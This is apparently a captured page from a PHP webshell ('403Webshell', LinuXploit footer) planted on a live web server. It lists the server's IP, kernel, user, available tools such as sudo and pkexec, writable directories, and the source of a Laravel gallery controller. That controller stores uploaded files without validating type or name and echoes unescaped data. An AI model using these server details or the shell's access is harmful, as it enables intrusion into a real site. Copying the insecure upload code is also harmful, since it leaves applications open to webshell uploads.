403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/emwin.vn/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/emwin.vn/app/Http/Controllers/GalleryController.php
<?php

namespace App\Http\Controllers;
use Illuminate\Http\Request;
use DB;
use File;
use Illuminate\Foundation\Bus\DispatchesJobs;
use App\Http\Requests;
use App\Models\Gallery;
use Session;
use Illuminate\Support\Facades\Redirect; 
use App\Http\Controllers\Controller;
session_start();


class GalleryController extends Controller
{

   public function add_gallery($product_id){

    $pro_id=$product_id;    
    return view ('admin.gallery.add_gallery')->with(compact('pro_id'));

   } 

  public function selete_gallery(Request $request)

   { 
     $output='';
     $product_id = $request->pro_id;   
     $gallery=Gallery::where('product_id',$product_id)->get();
     $gallery_count=$gallery->count();


     $output.='<table class="table table-hover">
                    <thead>
                    <tr>
                    <th>stt</th>
                    <th>Tên hình ảnh </th>
                    <th>Hình Ảnh</th>
                    <th>Quản lý </th>
                    </tr>
                    </thead>
                    <tbody>';

      $i=0;
      if($gallery_count!=0){
      foreach($gallery as $key => $gal ){
       $output.='<tr>
                    <td>'.$i++.'</td>
                    <td contenteditable class="edit-gal-name" data-gal_id="'.$gal->gallery_id.'">'.$gal->gallery_name.'</td>

                    <td>
                    <img src="'.url('public/uploads/gallery/'.$gal->gallery_image).'" class="img-thumbnail" width="100" height="100"> 

                     <input type="file" class="file_image" style="width:40%" data-gal_id="'.$gal->gallery_id.'" name="file" accept="image/*" id="file-'.$gal->gallery_id.'" >
                    </td>

                    <td>
                    <button type="button"  data-gal_id="'.$gal->gallery_id.'" class="btn btn-primary delete-gallery"> Xóa ngay </button>
                    </td>
                  </tr>
       ';   


      }   
      

      }            

      else{
      $output.='<tr><td colspan="4"><center> Chưc có hình ảnh </center></td></tr>';

      }  
      echo $output;   
   }   

   public function insert_gallery(Request $request,$pro_id){

      $get_image=$request->file('file');
      if($get_image){
         foreach($get_image as $image){

         $get_name_image = $image->getClientOriginalName();
         $name_image=current(explode('.',$get_name_image));
        $new_image = $get_name_image.rand(0,99).'.'.$image->getclientOriginalExtension();
        $image->move('public/uploads/gallery',$new_image);

        $gallery=new Gallery();
        $gallery->gallery_name = $new_image;
        $gallery->gallery_image = $new_image; 
        $gallery->product_id= $pro_id;
        $gallery->timestamps= false;
        $gallery->save();
         }

      Session::put('message', 'Thêm thư viện ảnh thành công');
      return Redirect()->back();

      }else{
        Session::put('message', 'vui lòng chọn ảnh'); 
        return Redirect()->back();

      }
      
      

   }

   public function delete_gallery(Request $request){

      $gal_id=$request->gal_id;
      $gallery=Gallery::find($gal_id);
      unlink('public/uploads/gallery/'.$gallery->gallery_image);
      $gallery->delete();

   }
  

  public function update_galerry(Request $request){


   $get_image=$request->file('file');
   $gal_id=$request->gal_id;
      if($get_image){

         $get_name_image = $get_image->getClientOriginalName();
         $name_image=current(explode('.',$get_name_image));
        $new_image = $get_name_image.rand(0,99).'.'.$get_image->getclientOriginalExtension();
        $get_image->move('public/uploads/gallery',$new_image);
        $gallery = Gallery::find($gal_id);
        unlink('public/uploads/gallery/'.$gallery->gallery_image);
        $gallery->gallery_image = $new_image; 
        $gallery->timestamps= false;
        $gallery->save();

         
      
    }
 }



 public function update_gallery_name (Request $request){


   $gal_id =$request->gal_id;
   $gal_text=$request->gal_text;
   $gallery = Gallery::find($gal_id);
   $gallery->gallery_name = $gal_text;
   $gallery->timestamps= false;
   $gallery->save();
      
   //  }
   
}

}  //END FUNCTION












Youez - 2016 - github.com/yon3zu
LinuXploit